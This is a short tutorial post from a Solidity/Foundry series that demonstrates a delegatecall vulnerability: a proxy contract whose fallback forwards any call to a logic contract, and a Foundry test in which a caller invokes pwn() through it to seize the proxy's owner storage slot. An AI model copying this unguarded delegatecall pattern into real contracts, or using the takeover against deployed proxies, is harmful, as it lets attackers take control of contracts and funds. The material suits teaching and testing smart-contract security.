Foundry IV — DelegateCall

Solidity Programming Language
2 min readMay 11, 2022

--

Source: DelegateCall Thanks to Ahmet and Murat

Delegate

contract Delegate {address public owner; function pwn() public {owner = msg.sender;}}

Proxy

contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc,) = address(delegate).delegatecall(msg.data); require(suc, "Delegatecall failed");}}

ContractTest

contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;address alice;function setUp() public {alice = Makeaddr("alice");}function testDelegatecall() public {DelegateContract = new Delegate();              // logic contractproxy = new Proxy(address(DelegateContract));   // proxy contractconsole.log("Alice address", alice);console.log("DelegationContract owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to Alice...");vm.prank(alice);address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit hereconsole.log("DelegationContract owner", proxy.owner());}}
DelegateContract = new Delegate();              // logic contractproxy = new Proxy(address(DelegateContract));   // proxy contract
console.log("Alice address", alice);console.log("DelegationContract owner", proxy.owner());console.log("Change DelegationContract owner to Alice...");vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit hereconsole.log("DelegationContract owner", proxy.owner());

How?

address(proxy).call(abi.encodeWithSignature("pwn()"));

There is no pwn function in proxy contract and this falls to fallback function in proxy contract.

(bool suc,) = address(delegate).delegatecall(msg.data);

Fallback function delegatecall to delegate address with msg.data (abi.encodeWithSignature(“pwn()”))

function pwn() public {owner = msg.sender;

In the delegate contract, msg.sender will be owner also in proxy contract.

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

--

--

Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps